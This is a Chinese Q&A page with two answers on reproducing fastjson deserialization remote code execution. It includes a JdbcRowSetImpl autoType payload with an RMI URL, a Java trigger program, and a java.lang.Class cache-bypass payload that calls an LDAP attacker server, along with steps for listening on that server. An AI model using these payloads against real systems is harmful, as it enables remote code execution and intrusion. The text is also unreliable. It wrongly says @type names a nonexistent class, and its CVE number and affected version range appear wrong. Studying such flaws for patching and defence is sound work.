fastjson漏洞复现

### 回答1：
fastjson 是一款开源的 JSON 序列化/反序列化库，但它曾经存在过一些反序列化漏洞，如 fastjson <= 1.2.24 版本的反序列化漏洞，攻击者可以通过构造恶意 JSON 数据实现远程代码执行。下面是 fastjson 反序列化漏洞的复现方法：

首先，我们需要编写一个简单的 Java 类，用于演示 fastjson 反序列化漏洞：

import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private int age;
    public Person() {}
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

接下来，我们需要编写一个恶意 JSON 数据，用于触发 fastjson 反序列化漏洞：

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://127.0.0.1:1099/Exploit",
  "autoCommit": true
}

上述 JSON 数据中的 @type 属性指定了一个不存在的 Java 类名，但 fastjson 会尝试反序列化该类名对应的 Java 类，从而触发漏洞。在本例中，攻击者可以通过构造恶意的 RMI URL，使得 fastjson 反序列化该 URL，从而实现远程代码执行。

最后，我们可以使用以下代码实现 fastjson 反序列化漏洞的复现：

import com.alibaba.fastjson.JSON;

public class FastjsonDemo {
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
        JSON.parseObject(json, Person.class);
    }
}

运行上述代码，如果存在漏洞，则会触发远程代码执行。需要注意的是，为了使漏洞能够被触发，需要满足以下条件：

1. fastjson 版本 <= 1.2.24；
2. 应用程序使用了 fastjson 进行反序列化操作；
3. 恶意 JSON 数据中包含了 @type 属性，并指定了一个不存在的 Java 类名。

### 回答2：
fastjson是一个Java语言编写的 JSON 解析库，被广泛应用于各种开发场景中。在过去的几年中，fastjson曾经存在过一些漏洞，其中最为著名的是“fastjson高危漏洞（CVE-2017-18346）”。

漏洞的影响范围是fastjson版本在1.2.24至1.2.45之间的所有应用程序。攻击者可以利用该漏洞，在受影响的应用程序中执行任意代码。具体的复现步骤如下：

1. 环境准备：首先，需要搭建一个使用fastjson版本1.2.24至1.2.45的Java应用程序环境。

2. 构造恶意JSON数据：根据漏洞详情，构造一个恶意的JSON对象，其中包含一个JSON字符串作为值，并且该JSON字符串中包含了恶意的Java代码。示例payload如下：

{
    "name": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://<ATTACKER_SERVER>:<ATTACKER_PORT>/Exploit",
        "autoCommit": true
    }
}

3. 触发漏洞：将构造好的恶意JSON数据作为输入，传递给fastjson的JSON解析方法，触发反序列化漏洞。

4. 攻击者服务器监听：在Payload中设置的服务器上，监听特定的端口（ATTACKER_PORT），等待受害者的连接请求。

5. 执行恶意代码：一旦受害者应用程序解析恶意JSON数据时，成功连接到攻击者服务器（ATTACKER_SERVER），攻击者即可执行自己预设的恶意代码，从而实现远程代码执行。

为了避免受到fastjson漏洞的威胁，建议开发者及时更新fastjson库到最新版本，并遵循安全编码规范，对用户输入进行严格的验证和过滤，以及使用沙箱机制来限制代码执行的权限。同时，也应该定期关注漏洞公告，及时了解并采取相应的修复措施。